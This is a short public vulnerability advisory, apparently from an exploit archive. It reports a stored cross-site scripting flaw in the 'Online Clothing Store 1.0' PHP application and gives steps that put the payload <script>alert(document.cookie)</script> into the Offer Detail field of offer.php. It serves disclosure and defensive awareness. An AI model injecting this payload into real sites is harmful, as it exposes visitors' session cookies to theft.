Online Clothing Store 1.0 - Persistent Cross-Site Scripting

2020-05-06
ID: 102934
CVE: None
Download vulnerable application: None
#  Exploit Title: 
#  Date: 2020-05-05
#  Exploit Author: Sushant Kamble
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#Vulnerable Page: Offers.php
#Parameter Vulnerable: Offer Detail

ONLINE CLOTHING STORE 1.0 is vulnerable to Stored XSS

Admin user can add malicious script to offer page.
when a normal user visit a page. A script gets executed.

# Exploit:
	Open offer.php
	Add below script in Offer Detail
		<script>alert(document.cookie)</script>
	Save
1-4-2 (www01)